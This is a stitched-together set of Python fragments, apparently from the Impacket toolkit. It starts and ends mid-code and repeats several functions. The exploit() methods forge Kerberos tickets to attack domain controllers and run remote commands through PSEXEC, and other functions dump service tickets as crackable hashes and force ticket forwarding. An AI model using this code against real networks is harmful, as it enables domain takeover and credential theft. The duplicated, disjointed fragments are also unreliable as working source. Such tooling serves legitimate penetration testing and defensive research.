password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants from impacket.ntlm import compute_lmhash, compute_nthash if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'cifs/%s@%s' % (self.getRemoteHost().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code()) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and ( aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): from pyasn1.codec.ber import encoder, decoder from pyasn1.type.univ import noValue """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises an Exception if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False if useCache: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception as e: # No cache present print(e) pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') logging.debug('Domain retrieved from CCache: %s' % domain) logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self.__target.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') else: logging.debug('No valid credentials found in cache') else: TGS = creds.toTGS(principal) logging.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split(b'@')[0] logging.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] logging.debug('Username retrieved from CCache: %s' % user) # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) # Done with the Kerberos saga, now let's get into LDAP if connection.closed: # try to open connection if closed connection.open(read_server_info=False) connection.sasl_in_progress = True response = connection.post_send_single_response( connection.send('bindRequest', request, None)) connection.sasl_in_progress = False if response[0]['result'] != 0: raise Exception(response) connection.bound = True return True
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split(b'@')[0] LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % username) # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: if TGT is None: if TGS is None: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) continue else: raise else: raise else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] # Now that we have the TGT, we should ask for a TGS for cifs if TGS is None: serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise else: raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.APOptions.mutual_required.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE authenticator['cksum']['checksum'] = chkField.getData() authenticator['seq-number'] = 0 encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode( TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq)) return cipher, sessionKey, blob.getData()
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry+'\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) if fd is None: print(entry) else: fd.write(entry+'\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry+'\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry+'\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % ( decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype'])) if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey ) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e))
# Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: raise else: raise else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp)
def exploit(self): self.__domainSid, self.__rid = self.getUserSID() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] enctype = etype2['etype'] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: raise e else: raise e else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break
def saveTicket(self, tgt, sessionKey): logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGT(tgt, sessionKey, sessionKey) ccache.saveFile(self.__target.replace('/','.') + '.ccache')
def convert_kirbi_to_ccache(input_filename, output_filename): ccache = CCache.loadKirbiFile(input_filename) ccache.saveFile(output_filename)
def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)
def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__saveFileName + '.ccache')
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants from impacket.ntlm import compute_lmhash, compute_nthash if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user=ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'cifs/%s@%s' % (self.getRemoteHost().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code()) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): logging.error("Ticket %s doesn't exist" % additional_ticket_path) exit(0) else: decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) ccache = CCache.loadFile(additional_ticket_path) principal = ccache.credentials[0].header['server'].prettyPrint() creds = ccache.getCredential(principal.decode()) TGS = creds.toTGS(principal) tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) if self.__force_forwardable: # Convert hashes to binary form, just in case we're receiving strings if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass # Compute NTHash and AESKey if they're not provided in arguments if self.__password != '' and self.__domain != '' and self.__user != '': if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug('NTHash') print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents if logging.getLogger().level == logging.DEBUG: logging.debug('AESKey') print(hexlify(aesKey).decode()) # Get the encrypted ticket returned in the 